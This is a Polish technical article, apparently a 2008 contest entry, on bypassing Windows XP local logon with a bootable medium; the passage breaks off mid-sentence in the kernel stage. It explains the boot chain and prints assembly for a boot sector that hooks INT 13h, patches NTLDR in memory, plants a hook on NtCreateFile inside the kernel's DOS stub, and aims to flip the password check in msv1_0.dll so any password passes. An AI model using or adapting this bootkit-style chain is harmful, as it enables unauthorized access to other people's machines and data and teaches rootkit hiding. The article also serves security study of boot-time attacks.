VEXILLIUM.ORG
Omijanie zabezpieczeń
lokalnego logowania systemu
Windows – nośniki bootowalne
Wersja polska
Mateusz ‘j00ru’ Jurczyk
2008-10-03
Praca została wykonana w celu zgłoszenia jej na
konkurs organizowany przez hack.pl
2
Spis treści
1 Wstęp
3
2 Właściwy start komputera
5
2.1 Tryb rzeczywisty i jego cechy
5
2.2 Proces bootowania w real mode
6
2.3 Układ pamięci operacyjnej
8
3 Tryb chroniony
9
4 Hakowanie autoryzacji
11
4.1 Cel, plany i założenia
11
4.2 Etap pierwszy - modyfikacja INT13h
13
4.3 Etap drugi – modyfikacja NTLDR
18
4.4 Etap trzeci – modyfikacja jądra
23
5 Przenoszenie kodu na CD-ROM
27
6 Efekt końcowy
30
7 Literatura
32
3
1.
Wstęp
Od samego początku istnienia komputerów i możliwości ich programowania
znajdowane były luki bezpieczeństwa, które w różnoraki sposób dawały możliwość
blokowania rozmaitych usług, uzyskiwania dostępu do chronionych danych, zdalne
wykonywanie kodu na maszynie ofiary itd. Przez lata, wraz z rosnącą ilością firm
zajmujących się tworzeniem oprogramowania, mnożyła się liczba odkrytych dziur
oraz techniki ich znajdowania oraz wykorzystywania.
W trakcie rozwoju kolejnych systemów operacyjnych, języków programowania oraz
ich kompilatorów, powstały dziesiątki ciekawych, nowatorskich technik
zapobiegania zarówno lokalnym, jak i zdalnym atakom wykorzystującym
niedoskonałości software’u. Najbardziej narażone na atak elementy procesu (stos,
sterta itd.) zostały (mniej lub bardziej) skutecznie zabezpieczone przed
standardowymi metodami wykorzystywanymi przez hakerów. Mimo to na
ogólnodostępnej liście bugtraq z dnia na dzień przybywa wiadomości o kolejnych
odkrytych błędach oraz możliwościach ich wykorzystania w praktyce. Proces
znajdowania, łatania i zabezpieczania przed lukami w systemach informatycznych
nabiera coraz większego tempa, powodując nieustanny rozwój powiązanych
technologii.
Niewielu ludzi zdaje sobie jednak sprawę, jak wielkie szkody poczynić może ktoś,
kto ma jedynie fizyczny dostęp do naszej maszyny. Posiadając możliwość
bootowania komputera z dowolnego, przenośnego nośnika danych ma on w
rzeczywistości nieograniczone możliwości. Jeśli nasze dane nie są specjalnie
zabezpieczone przed nieuprawnionym dostępem (np. szyfrowane – sprzętowo lub
programowo), a jedyną ochroną jest ustawione w Windowsie hasło weryfikujące
naszą tożsamość w momencie logowania do systemu, potencjalny włamywacz
mógłby uzyskać dostęp do danych dysku twardego bez większego problemu.
W czym zatem tkwi tajemnica nieograniczonych przywilejów, jakie daje nam
możliwość użycia bootowalnego nośnika? Odpowiedź jest nad wyraz prosta – kod,
który zostaje uruchomiony w trakcie startowania maszyny jest w stanie dowolnie
sterować wykonywaniem systemu operacyjnego, dostępem do zasobów dysku
twardego, obsługą sprzętu i praktycznie każdą inną, wrażliwą częścią naszego
komputera. Może on, przykładowo, zmodyfikować kod odpowiedzialny za
potwierdzania poprawności wprowadzonego w trakcie logowania hasła, tak by
odpowiedź brzmiała zawsze HASŁO POPRAWNE. Inną możliwością jest
zainstalowanie sieciowego backdoora w systemie niczego nie podejrzewającej
4
ofiary. Raz uruchomiony złośliwy kod może więc przynieść nieodwracalne skutki, o
których zaatakowany użytkownik może nie mieć nawet zielonego pojęcia.
Artykuł ten prezentuje techniczne aspekty działania nośnika, który po
wystartowaniu odpowiednio kieruje pracą uruchamianego systemu operacyjnego,
aby ten umożliwił zalogowanie się na dowolne istniejące w systemie konto, bez
znajomości jakichkolwiek danych autoryzacyjnych.
Zapraszam do lektury!
5
2.
Właściwy start komputera
Wbrew powszechnej opinii, proces uruchamiania komputera jest niezwykle
złożony. Składa się z wielu, startujących kolejno elementów, które wykonane
prawidłowo dają możliwość pracy na poprawnie uruchomionym, stabilnym
systemie operacyjnym. Ten oraz następny dział przedstawiają poszczególne etapy
ładowania systemu operacyjnego, od BIOS’u, aż po samo jądro systemu Windows
wraz z niezbędnymi usługami.
2.1 Tryb rzeczywisty
Zanim omówione zostanie działanie kodu dostarczonego przez Microsoft, który
odpowiedzialny jest za ładowanie samego systemu Windows, warto poznać pewne
cechy trybu, w którym znajdujemy się w momencie początkowej fazy uruchamiania
komputera –
Pierwszą, najbardziej charakterystyczną cechą jest z pewnością sposób, w jaki
adresowana jest pamięć. Możliwy jest dostęp do jedynie 1MB pamięci operacyjnej
(0 – FFFFFh), adresowanej przy użyciu dwóch 16 bitowych liczb. Jeśli liczby te
oznaczymy kolejno jako A i B, wtedy adres fizyczny, do którego się odwołujemy
tłumaczymy w sposób następujący:
AAAA:BBBB -> A * 10h + B
1000:2345 -> 1000h * 10h + 2345h = 12345h
Pierwsza wartość nazywana jest numerem segmentu, druga zaś to jego przesunięcie.
Jak łatwo zauważyć, jeden adres fizyczny możemy zapisać na wiele sposobów – jest
ich dokładnie 4096.
Architektura
procesora
na którym operujemy, udostępnia 6 rejestrów
segmentowych, takich jak:
CS – segment kodu programu (adres aktualnie wykonywanej instrukcji
procesora to CS:IP)
DS – segment danych programu
SS – segment stosu programu (pełny adres stosu to SS:SP)
ES, FS, GS – rejestry pomocnicze
6
Kolejną właściwością opisywanego trybu jest brak jakiejkolwiek ochrony pamięci
(która wprowadzona została już w trybie chronionym). Wykonywany kod może
pisać i czytać z dowolnego miejsca znajdującego się w adresowalnym zakresie. Dla
naszego projektu jest to zarówno ułatwienie i jak i przeszkoda. Z jednej strony
możemy bez najmniejszych problemów ingerować w systemowe struktury, takie jak
Tablica Deskryptorów Przerwań (ang. Interrupt Descriptor Table, IDT),
manipulując nimi według własnych potrzeb, z drugiej jednak nigdy nie mamy
całkowitej pewności, że kod/dane używane przez nasz program nie zostaną w
nieoczekiwanym momencie nadpisane. Sposób na radzenie sobie z tą
niedogodnością zostanie opisany w dalszej części artykułu.
Ostatnią interesującą cechą jest brak wielowątkowości, który na szczęście nie
stwarza dodatkowych problemów implementacyjnych.
Poniżej znajduje się lista plusów i minusów real mode, wynikających z powyższych
właściwości:
Możliwość kontrolowania danych przepływających przez przerwania (IDT)
Brak ochrony pamięci
Bezpośredni dostęp do fizycznych danych nośników
Utrudniona alokacja pamięci
Niewielka przestrzeń adresowa
Utrudnione debuggowanie (w przypadku fizycznych urządzeń)
2.2 Elementy bootowania trybu rzeczywistego
Sam proces ładowania systemu w trybie rzeczywistym to złożony mechanizm.
Poniżej znajduje się lista komponentów składających się na 16-bitową całość
loadera Windows, wraz ze szczegółowym opisem.
BIOS (Basic Input/Output System) – kod znajdujący się w pamięci stałej płyty
głównej, ładowany do pamięci pod adresem E0000h i uruchamiany w momencie
włączania komputera. Jest odpowiedzialny za podstawowe testy sprzętu (POST –
), inicjalizację urządzeń wejścia/wyjścia oraz załadowanie i
uruchomianie programu rozruchowego z wybranego bootowalnego nośnika danych.
7
MBR (Master Boot Record) – Pierwszy sektor dysku twardego, zawiera
program rozruchowy systemu oraz tabelę partycji. Zostaje załadowany przez BIOS
na adres fizyczny 07C00h (zapisywany najczęściej jako para 0000:7C00), skąd sam
kopiuje się pod 0061Bh, a następnie znajduje partycję oznaczoną jako Bootable,
ładuje pierwszy sektor tej partycji ponownie na adres 07C00h i przekazuje
wykonywanie dalej.
seg000:0000 xor ax, ax
seg000:0002 mov ss, ax
seg000:0004 mov sp, 7C00h
seg000:0007 sti
seg000:0008 push ax
seg000:0009 pop es
seg000:000A push ax
seg000:000B pop ds
seg000:000C cld
seg000:000D mov si, 7C1Bh
seg000:0010 mov di, 61Bh
seg000:0013 push ax
seg000:0014 push di
seg000:0015 mov cx, 1E5h
seg000:0018 rep movsb
seg000:001A retf
Listing 1. Kod MBR odpowiedzialny za przenos
zenie swojego ciała pod adres 0000:061Bh
Budowa:
512 bajtów
446 bajtów
64 bajty (4 x 16)
2
bajty
bootstrap
Partycja
1
Partycja
2
Partycja
3
Partycja
4
0x55
0xAA
Pierwsza część to kod wykonywalny, opisany powyżej. Kolejne 64 bajty to tablica
zawierająca informacje o partycjach, używana w kodzie bootstrap’u. Każda z 4
partycji opisana jest przez 16 bajtową strukturę. Ostatnie 2 bajty to sygnatura MBR.
VBR (Volume Boot Record) – Pierwszy sektor partycji wybranej przez MBR.
Jego struktura zależna jest od systemu plików (FAT32/NTFS/inne), o którym
zawiera podstawowe informacje. Jako, że całość kodu jest zbyt duża, by zmieścić
się w jednym sektorze, kolejne części VBR są sukcesywnie wczytywane do pamięci
w momencie, kiedy stają się potrzebne. Jego głównym zadaniem jest znalezienie
pliku o nazwie NTLDR w katalogu głównym partycji, a następnie wczytanie jego
zawartości pod adres 20000h (2000:0000). Załadowany plik składa się z dwóch
części – programu trybu rzeczywistego, który opisany został poniżej oraz pliku
8
wykonywalnego PE, pracującego już w trybie chronionym. Jeśli wszystko się
powiedzie, wykonywanie zostaje przekazane do pierwszej części NTLDR.
NT Loader (część pierwsza) – Jest to 16-bitowy program, będący jednocześnie
ostatnim ogniwem łańcucha bootowania trybu rzeczywistego. Jego celem jest
inicjalizacja niezbędnych elementów środowiska i przełączenie procesora w tryb
chroniony. Następnie następuje załadowanie do pamięci drugiej części loadera (już
z użyciem adresowania 32-bitowego) i uruchomienie go.
2.3
Układ pamięci operacyjnej
Rysunek 1. Uproszczony układ pamięci tuż przed przejściem w tryb chroniony
9
3. Tryb chroniony
Tryb chroniony zawiera wiele poprawek i usprawnień względem starszego trybu
rzeczywistego. Pamięć jest adresowana za pomocą 32-bitowych wartości,
umożliwiając tym samym dostęp do maksymalnie ponad 4GB pamięci. Zawiera też
wsparcie wielowątkowości, stronicowanie oraz ochronę pamięci, której tak bardzo
brakowało real mode. To właśnie w tym trybie wykonywana jest cała dalsza część
procesu ładowania systemu.
Poniżej znajduje się lista interesujących nas komponentów bootowania
32-bitowego, które w niedługiej przyszłości staną się naszym bezpośrednim celem.
OSLOADER.exe (druga część pliku NTLDR) – standardowy plik PE
(Portable Executable). Do jego zadań należy parsing pliku konfiguracyjnego
boot.ini, opcjonalnie wyświetlenie menu wyboru systemu operacyjnego, obsługę
specjalnych opcji bootowania (dostępnych po naciśnięciu klawisza F8). Po
wykonaniu tych czynności OsLoader zabiera się za znacznie ważniejsze rzeczy –
ładuje do pamięci podstawowe elementy jądra – NTOSKRNL.exe i HAL.dll – oraz
sterowniki oznaczone jako boot driver. Jeśli wszystko się powiedzie, wykonywanie
zostaje przekazane do załadowanego wcześniej kernela systemu.
NTOSKRNL.exe – jądro systemu Windows. Interesującą częścią tego
niemałego pliku wykonywalnego jest kod odpowiedzialny za obsługę wywołania
systemowego o nazwie NtCreateFile, służącego m.in. do otwierania i tworzenia
plików na dysku twardym.
LSASS.exe, LSASRV.dll (Local Security Authority Subsystem Service) – pliki
aplikacji odpowiadającej za bezpieczeństwo systemu. Weryfikuje dane logujących
się użytkowników, pośredniczy w operacjach zmiany haseł itd. Jest to proces, który
jest celem naszego ataku. Jedną z bibliotek używanych przez LSASS jest
msv1_0.dll, będąca odpowiedzialna bezpośrednio za weryfikację danych
wprowadzonych przez lokalnie logującą się osobę. Odpowiednia modyfikacja tejże
biblioteki może pozwolić na całkowite ominięcie procesu autoryzacji, dając
nieograniczony dostęp do zasobów komputera.
Poszczególne elementy ładowania systemu zostały przedstawione na rysunku 2.
10
Rysunek 2. Komponenty składające się na całośd procesu bootowania i ładowania systemu
Windows
Rysunek 3. Zależności pomiędzy poszczególnymi elementami modułu logowania Windows. Nasz
cel to msv1_0.dll z którym, w momencie próby logowania, łączy się lsasrv.dll
źródło: http://technet.microsoft.com/en-us/library/cc780455.aspx
11
4.
Hakowanie autoryzacji
4.1
Cel, plany i założenia
Przed zabraniem się za pisanie samego kodu bootsectora naszego nośnika, należy
przedstawić plany i założenia, jakimi będziemy kierować się w trakcie tworzenia
naszego hacka.
Założenia ogólne
- Tworzymy łańcuch modyfikacji tak, że wcześniejszy element ładowania
modyfikuje następny, aż do osiągnięcia dostępu do LSASS
- Całość MUSI mieścić się w obszarze bootsectora – 512 bajtach kodu
maszynowego
- Nie wykonujemy ŻADNYCH operacji na dysku twardym – wszystkie zmiany
przeprowadzane są tylko i wyłącznie w pamięci
Niezbędne wiadomości o msv1_0.dll
- Pełna nazwa to Microsoft Authentication Package v1.0
- Zostaje wywoływana bezpośrednio przez Lsasrv.dll, od której to biblioteki
otrzymuje nazwę użytkownika i hasło użyte przy logowaniu
- Łączy się z bazą SAM, a następnie porównuje poprawny hash oraz hash
wprowadzonego hasła.
- Jeśli podane dane weryfikacyjne zostaną uznane za poprawne, msv1_0 zwraca
informację o udanym logowaniu
- Kod, który nas interesuje, przedstawiony jest w listingu 2.
- Kod ten należy do wewnętrznej funkcji MsvpPasswordValidate
.text:77C6989D loc_77C6989D:
.text:77C6989D 6A 10 push 10h
; Length
.text:77C6989F 83 C3 34 add ebx, 34h
.text:77C698A2 53 push ebx
; Source2
.text:77C698A3 56 push esi
; Source1
.text:77C698A4 FF 15 30 12 C6 77 call RtlCompareMemory
.text:77C698AA 83 F8 10 cmp eax, 10h
.text:77C698AD 75 11 jnz short loc_77C698C0
.text:77C698AF
.text:77C698AF loc_77C698AF:
.text:77C698AF B0 01 mov al, 1
…
.text:77C698C0 loc_77C698C0:
.text:77C698C0 32 C0 xor al, al
Listing 2. Funkcja RtlCompareMemory
porównująca 16-bajtowe ciągi oraz wytłuszczony
modyfikowany skok warunkowy jnz
12
Elementy modyfikowane
- Tablica deskryptorów przerwań (ang. Interrupt Descriptor Table – IDT) –
tablica 256 elementów będących wskaźnikami na funkcje obsługujące konkretne
przerwania. Każdy ze wskaźników jest standardowym adresem trybu
rzeczywistego – składa się z dwóch 16-bitowych wartości. Adres IDT to
0000:0000, zajmuje ona 256*4=1024 bajtów, a więc kończy się na 0000:0400.
Jedynym interesującym nas przerwaniem jest przerwanie o numerze 13h,
odpowiedzialne za operacje odczytu sektorów z nośników danych. Adres owej
funkcji znajduje się pod adresem 13h*4 = 0000:004C. Własny kod, którym
zastąpimy standardową funkcję INT13h będzie modyfikował dalszy element –
drugą część NTLDR (OsLoader.exe)
- OsLoader.exe – zostaje spatchowany w miejscu, w którym kernel systemu jest
już obecny w pamięci. Wstrzyknięty przez nas kod ma za zadanie znaleźć
wyeksportowaną funkcję NtCreateFile i ustawić w niej tzw. hak (ang. hook).
- Ntoskrnl.exe – Funkcja obsługi plików jest przekierowana do kodu
znajdującego się w DOS Stub kernela. Kiedy wykryta zostaje próba dostępu do
odpowiednio zdefiniowanego przez nas pliku, kod funkcji msv1_0.dll jest
zmodyfikowany, a hak funkcji NtCreateFile zdjęty.
- NTLM – ostatnie ogniwo łańcucha modyfikacji, w momencie próby
logowania przepuszcza błędne hasła.
Na rysunku 4 widoczne są kolejne elementy bootowania, wraz z odpowiednimi
oznaczeniami miejsc, które patchowane są w trakcie działania hacka.
Rysunek 4. Oznaczone komponenty biorące udział w ataku na moduł logowania
13
4.2 Etap pierwszy - modyfikacja INT13h
Jednym z założeń całego projektu jest brak jakichkolwiek operacji wykonywanych
na dysku twardym. Wiąże się z tym kilka rzeczy. Między innymi, nasz kod musi tak
modyfikować pamięć do której w danej chwili ma dostęp tak, by na końcu zostać
zakamuflowana w obszarze pamięci kernela oczekując na dogodny moment, by
usunąć skok warunkowy znajdujący się w jednej z bibliotek LSASS.
Znaczy to ni mniej ni więcej tyle, że całość kodu znajdującego się w naszym
bootsectorze musimy podzielić na podbloki, każdy z nich wykonywany w innym
momencie procesu bootowania. Kiedy jedna z funkcji naszego projektu zostaje
wywołana, wykonuje niezbędne modyfikacje pamięci tak, by kolejna część kodu
mogła zostać wywołana w odpowiednim czasie, a następnie przekazuje
wykonywanie z powrotem do oryginalnego kodu loadera Windows. Nasz kod
zwyczajnie przeplata się z kodem programu ładującego, który sukcesywnie
modyfikujemy.
Pierwszą częścią projektu jest fragment wywoływany bezpośrednio przez BIOS.
Jego celem jest ustawienie haka na wcześniej wspomniane przerwanie o numerze
13h, załadowanie MBR dysku twardego (tak, jak zrobiłby to BIOS w przypadku
bootowania z HDD) i przekazanie mu wykonywania. Jako, że pierwszy sektor
naszego nośnika został załadowany pod adres, na którym docelowo znaleźć ma się
MBR, musimy wcześniej przenieść resztę kodu w miejsce, które w trakcie działania
loadera nie zostanie nadpisane.
Listing 3 przedstawia wspomniany pierwszy fragment bootsectora, odpowiedzialny
za hookowanie przerwania odpowiedzialnego m.in. za operacje Read i Extended
Read.
; [1]
TEMP_STACK
equ 0x3000
BOOTCODE_ADDR
equ 0x4000-0x200
MBR_ADDR
equ 0x7C00
INT13_ADDR
equ 13h * 4
MSV1_0_PATCH_ADDR equ 077C699B9h
[bits 16]
[org BOOTCODE_ADDR]
start:
jmp 0:MBR_ADDR+5
14
; [2]
mov cx, TEMP_STACK
mov ss, cx
xor cx, cx
mov sp, cx
mov ds, cx
mov es, cx
; [3]
pushad
mov ax, 0201h
inc ecx
cwd
mov bx, BOOTCODE_ADDR
int 13h
jmp _HOOK_INTERRUPT_GOTO_MBR - MBR_ADDR + BOOTCODE_ADDR
_HOOK_INTERRUPT_GOTO_MBR:
; [4]
mov ax, 0201h
or dl, 10000000b
mov bh, (MBR_ADDR>>8)
int 13h
; [5]
mov eax, [INT13_ADDR]
mov [INT13HANDLER], eax
mov dword [INT13_ADDR], @INT13HOOK_OFF
; [6]
popad
jmp MBR_ADDR
Listing 3.
Kod odpowiedzialny za skopiowanie się na adres 0x03E00, wczytanie MBR oraz
zainstalowanie hooka
w Tablicy Deskryptorów Przerwań
Omówmy pokrótce kolejne fragmenty powyższego kodu.
Fragment [1] to deklaracje stałych wartości używanych w dalszej części kodu. Są to
kolejno: adres tymczasowego stosu, adres pamięci gdzie znajduje się nasz
bootsector przez cały okres działania real mode, adres pod który ładowany zostaje
MBR oraz adres wskaźnika funkcji obsługującego modyfikowane przerwanie. Piąta
linia zawiera stały adres patchowanego na samym końcu kodu msv1_0.dll.
15
Właściwa część źródła – kod wykonywalny zaczyna się od instrukcji FAR JUMP,
która upewnia nas, że znajdujemy się pod adresem 0000:7C00, a nie np. 07C0:0000
(co mogłoby sprawić w przyszłości spore problemy).
Następnie we fragmencie [2] ustawiony zostaje tymczasowy stos, na którym
możemy bezpiecznie operować, rejestrom segmentowym przydzielane są
odpowiednie wartości. Stan wszystkich rejestrów zachowany zostaje przez
instrukcję [3], po której następuje ponowne wczytanie naszego bootsectora pod
ustalony wcześniej, bezpieczny adres. Używany do tej pory adres 7C00h zaraz
potem zajęty zostaje przez MBR w miejscu oznaczonym jako [4]. Kolejne linie
kodu odpowiadają za ustawienie opisywanego wcześniej hooka, przywrócenie
wartości rejestrów i skok pod adres definiowany przez
MBR_ADDR.
Prosty schemat przedstawiający łańcuchy haków przerwań przedstawiony został na
rysunku 5.
Należałoby się zastanowić, co w rzeczywistości robić ma kod haka, który dopiero
co został założony. Przydatnym wydaje się fakt, że nasz kod wywoływany zostaje
za każdym razem, gdy z dysku twardego odczytywane są jakieś dane, co daje nam
możliwość pełnej kontroli danych przepływających przez przerwanie.
Ja zdecydowałem się na wykorzystanie techniki użytej wcześniej w rootkicie
MEBROOT oraz projekcie SysRq autorstwa eEye Research, polegającej na
bezpośredniej modyfikacji kodu drugiej części NTLDR – pliku OSLOADER.EXE,
Rysunek 5. Tablica deskryptorów przerwao – przekierowanie na adres 0000:4E42,
wywołujące następnie oryginalny handler spod adresu F000:E3FE
16
jako, że jego zawartość wczytywana jest wciąż poprzez kontrolowane przez nas
przerwanie trzynaste, a czyni to Volume Boot Record. Mamy w ten sposób dostęp
do kodu wykonywanego już po przejściu w tryb chroniony, co daje nam dodatkowe
możliwości. Adres 0x00422A6F został uznany za odpowiednie miejsce na
wstrzyknięcie własnego kodu – w momencie dojścia wykonywania programu do tej
lokalizacji NTOSKRNL.EXE jest już obecny w pamięci. Wstrzyknięty kod może
zatem od samego początku działania systemu sterować działaniem syscalli –
podstawowych funkcji eksportowanych przez jądro, którymi operuje każda
działająca wewnątrz aplikacja.
Oto jak przedstawia się schemat działania podstawionego przez nas handlera:
Sprawdź, czy żądana operacja to
dysku)
Jeśli nie, skacz do oryginalnej funkcji
Za pomocą instrukcji CALL wywołaj oryginalny handler
Jeśli operacja odczytu nie powiodła się, wyjdź
Sprawdź, czy we wczytanych danych znajduje się sygnatura, która powinna
zostać podmieniona
Jeśli tak, modyfikuj odpowiednie dane, wstrzykując własny kod do
ładowanego pliku
Przywróć początkowy stan stosu i wyjdź
Funkcja taka została napisana i świetnie zoptymalizowana przez badaczy eEye
Research, pozwoliłem więc sobie posłużyć się nim we własnym projekcie – można
znaleźć ją w listingu 4.
@INT13HOOK_OFF equ $
@Int13Hook:
cli
pushf
cmp
ah, 42h
; IBM/MS INT 13 Extensions - EXTENDED READ
je
short @Int13Hook_ReadRequest
cmp
ah, 02h
; DISK - READ SECTOR(S) INTO MEMORY
je
short @Int13Hook_ReadRequest
popf
db
0EAh
; JMP FAR INT13HANDLER
INT13HANDLER EQU $
dd
0
@Int13Hook_ReadRequest:
17
mov [cs:INT13LASTFUNCTION], ah
;
; Invoke original handler to perform read operation
;
popf
pushf
; push Flags because we're simulating an INT
call
far [cs:INT13HANDLER] ; call original handler
jc
short @Int13Hook_ret ; abort immediately if read failed
pushf
cli
push
es
pusha
;
; Adjust registers to emulate an AH=02h read if AH=42h was used
;
mov
ah, 00h
INT13LASTFUNCTION EQU $-1
cmp
ah, 42h
jne
short @Int13Hook_notextread
lodsw
lodsw
; 02h WORD number of blocks to
transfer
les
bx, [si]
; 04h DWORD transfer buffer
@Int13Hook_notextread:
;
; Scan sector for a signature of the code we want to modify
;
test
al, al
jle
short @Int13Hook_scan_done
cld
mov
cl, al
mov
al, 8Bh
shl
cx, 9
; (AL * 200h)
mov
di, bx
@Int13Hook_scan_loop:
; 8B F0 MOV ESI, EAX
; 85 F6 TEST ESI, ESI
; 74 21 JZ $+23h
; 80 3D ... CMP BYTE PTR [ofs32], imm8
; (the first 6 bytes of this signature exist in other modules!)
18
repne scasb
jne
short @Int13Hook_scan_done
; NOTE!
; The patched NTLDR code is placed at 0x422a6f
; on the up-to-date Windows XP SP2 version.
cmp
dword [es:di], 74F685F0h
jne
short @Int13Hook_scan_loop
cmp
word [es:di+4], 8021h
jne
short @Int13Hook_scan_loop
mov
word [es:di-1], 15FFh ; FFh/15h: CALL NEAR [ofs32]
mov dword [es:di+1], @SyscallHookAddr
@Int13Hook_scan_done:
popa
pop
es
popf
@Int13Hook_ret:
retf 2 ; discard saved Flags from original INT (pass back CF,
etc.)
Listing 4. Kod naszego handlera, znajdującego odpowiednią sygnaturę w momencie
wczytywania całości pliku NTLDR i zmieniającego ją na kod przekierowujący
Kiedy nasza funkcja znajdzie już dane, które powinna podmienić, wstawia w ich
miejsce kod operacji (ang. opcode) instrukcji CALL [imm32]:
mov word [es:di-1], 15FFh
; FFh/15h: CALL NEAR [imm32]
mov dword [es:di+1], @SyscallHookAddr
tj. wywołania funkcji, do której wskaźnik znajduje się pod stałym, 32-bitowym
adresem będącym argumentem tejże instrukcji. W naszym przypadku pointer ten
znajduje się w zmiennej
@SyscallHookAddr,
i wskazuje na adres kolejnego bloku
kodu, do którego prowadzi właśnie wstawione w NTLDR wywołanie.
4.3 Etap drugi
– modyfikacja NTLDR
Po przejściu do dalszej części loadera VBR i odczekaniu niedługiego czasu, w
którym to uruchamiana zostaje pierwsza, a następnie druga część NTLDR,
19
ponownie odzyskujemy kontrolę wykonywania, tym razem w znacznie ciekawszym
miejscu.
W tym momencie możemy dowolnie i bez konsekwencji „grzebać” w całej pamięci
jądra Windows, nie ponosząc żadnych konsekwencji. Jest to stan, w którym sam
kernel nie jest jeszcze wykonywany, a więc absolutnie żadne oprogramowanie nie
ma większych praw od tych, które aktualnie posiada nasz kod, znajdujący się pod
@SyscallHookAddr.
Proponowaną w tym momencie taktyką jest ustawienie kolejnego przekierowania,
tym razem w jednej (wspomnianej wcześniej) z funkcji eksportowanych przez sam
kernel - funkcja ta jest równocześnie handlerem przerwania systemowego o nazwie
NtCreateFile. Wstrzykując do niej własny kod, możemy „podpiąć” się do
dowolnego procesu wykorzystującego w danym momencie tę funkcję, a następnie
zmodyfikować pewne obszary pamięci tego procesu, jak na przykład kod jednej z
bibliotek.
Poważnym problemem, na który można natknąć się w tym momencie to trudność ze
znalezieniem odpowiedniego miejsca na kod, do którego miałoby odwoływać się
przekierowanie. Nie może to być używany wcześniej adres 0x3E00, gdyż jest on
poprawny jedynie w trybie rzeczywistym – w trybie chronionym nie ma
bezpośredniego dostępu do tego typu niskich obszarów pamięci, które
wykorzystywane były w początkowych fazach bootowania.
Autor zdecydował się na użycie zawartości tzw. DOS Stub – krótkiego programu
obecnego w każdym pliku PE, który uruchamiany jest w momencie próby odpalenia
Windowsowej aplikacji pod systemem DOS – pliku NTOSKRNL.exe. Pamięć ta nie
jest nigdy wykorzystywana w trakcie działania systemu, a mimo to znajduje się
wewnątrz pamięci przeznaczonej dla samego kernela, co pomaga ukryć się przed
pewną liczbą anty-rootkitów.
Miejsce to znajduje się 40h (64d) bajtów za adresem bazowym jądra i jest wielkości
ok. 168 bajtów, a więc taka jest górna granica rozmiaru naszego kodu,
wywoływanego każdorazowo w momencie użycia funkcji NtCreateFile.
@SyscallHookAddr dd @HookSyscall
@HookSyscall:
pushfd
pushad
cld
mov
edi, [esp+24h]
20
and
edi, 0FFF00000h
mov
al, 0C7h
@PatchFunction_mlsigloop:
scasb
jne
short @PatchFunction_mlsigloop
cmp
dword [edi], 40003446h
jne
short @PatchFunction_mlsigloop
mov
al, 0A1h
@PatchFunction_mlbaseloop:
scasb
jne
short @PatchFunction_mlbaseloop
mov
esi, [edi]
mov
esi, [esi]
lodsd
mov
ebx, [eax+18h]
call GetExportedFuncAddr
mov dword [_NtCreateFileSyscallAddrFirst], eax
mov dword [_NtCreateFileSyscallAddrSecond], eax
add ebx, 40h
mov dword [_DosStubHookAddr] , ebx
mov byte [eax], 0E9h
inc eax
mov ecx, eax
neg ecx
lea edx, [ebx+ecx-5+1]
mov dword [eax], edx
mov edi, ebx ; edi
mov esi, NT_CREATE_FILE_HOOK_START
mov ecx, NT_CREATE_FILE_HOOK_END - NT_CREATE_FILE_HOOK_START
rep movsb
popad
popf
mov esi, eax
test eax, eax
jnz _no_cond_jmp
_cond_jmp:
add dword [esp], 21h
_no_cond_jmp:
21
Ret
Listing 5. Kod wykonywany po przekierowaniu z NTLDR
Przedstawiony wyżej, trzeci już fragment naszego kodu odpowiada za odnalezienie
poprawnego adresu, pod który załadowane zostało jądro systemu, a następnie
wykorzystanie tej informacji w celu odszukania adresu wyeksportowanej funkcji,
która ma zostać spatchowana. W tym celu wywołana zostaje funkcja
GetExportedFuncAddr,
której działanie omówione zostanie w dalszej części
artykułu.
Po jej odnalezieniu mamy do czynienia z kolejnymi operacjami:
Adres jądra zostaje zapisany w dwóch miejscach
W miejsce pierwszych pięciu bajtów znalezionej funkcji zostaje wstawiona
funkcja JMP imm32 – skok pod zdefiniowany przez nas adres, w tym przypadku
ImageBase+40h.
Kod, do którego prowadzi przekierowanie zostaje skopiowany do „bufora” w
DOS Stub’ie przy użyciu instrukcji rep movsb
Wartości flag i rejestrów są przywrócone, a następnie instrukcje NTLDR, które
zostały nadpisane przez skok do miejsca w którym aktualnie jesteśmy zostają
wykonane.
Rysunek 7. Zmodyfikowany DOS
Stub i jedna z funkcji kernela
Rysunek 6. NTOSKRNL.EXE w
oryginalnej postaci
22
Na rysunkach 6 i 7 przedstawione zostały struktury pliku PE kernela w pamięci
przed i po modyfikacji (hook na funkcję + zmodyfikowany DOS Stub).
Do omówienia została jeszcze tajemnicza funkcja GetExportedFuncAddr, która
przyjmując w rejestrze EBX adres bazowy jądra zwraca adres jednej z
eksportowanej przez niego funkcji. Jej kod jest odpowiedzialny za przejście przez
kolejne struktury pliku PE, a następnie wylistowanie wszystkich udostępnionych
„na zewnątrz” funkcji, gdzie każda nazwa zostaje porównana do stałego ciągu,
jakim jest właśnie 12-bajtowa nazwa NtCreateFile.
W celu lepszego zrozumienia działania poszczególnych fragmentów, komentarze
obecne w oryginalnym kodzie projektu zostały pozostawione.
GetExportedFuncAddr:
xor
eax, eax
mov
ecx, [ebx+3Ch]
; RVA of PE header
mov
ebp, [ebx+ecx+78h]
; RVA of export directory
add
ebp, ebx
; ptr to export directory
xor ecx, ecx ; iterator
mov edx, [ebp+1Ch] ; IMAGE_EXPORT_DIRECTORY::AddressOfFunctions
mov edi, [ebp+20h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNames
mov eax, [ebp+24h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNameOrdinals
; turn these values into VAs
add
edi, ebx
add edx, ebx
add eax, ebx
@search_loop:
mov esi, [edi+4*ecx] ; get the current function's name
add esi, ebx ; and make a virtual address from it
cmp ecx, [ebp+18h] ; check if there are no more functions exported
jge _retloc
inc ecx
cmp dword [esi], 07243744eh ; "NtCr"
jnz @search_loop
cmp dword [esi+4], 065746165h ; "eate"
jnz @search_loop
cmp dword [esi+8], 0656c6946h ; "File"
jnz @search_loop
dec ecx ; ecx <--- function ID in export table
movzx eax, word [eax+ecx*2] ; eax <--- function ordinal
23
mov eax, dword [edx+eax*4] ; eax <--- function address
add eax, ebx
_retloc:
ret
Listing 6. Funkcja GetExportedFuncAddr
4.4 Etap trzeci
– modyfikacja jądra
W chwili obecnej sytuacja przedstawia się następująco: kod, do którego wiedzie
przekierowanie syscalla może wykonywać dowolne operacje, jak gdyby należał do
jednego z obecnych w systemie sterowników. Może bez przeszkód manipulować
wrażliwymi strukturami systemowymi, ingerować w ścieżki wykonywania
konkretnych procesów itd. Nam zależy oczywiście na modyfikacji zaledwie dwóch
bajtów jednego z modułów LSASS.EXE.
Aby móc to uczynić, nasz kod musi najpierw znajdować się w kontekście danego
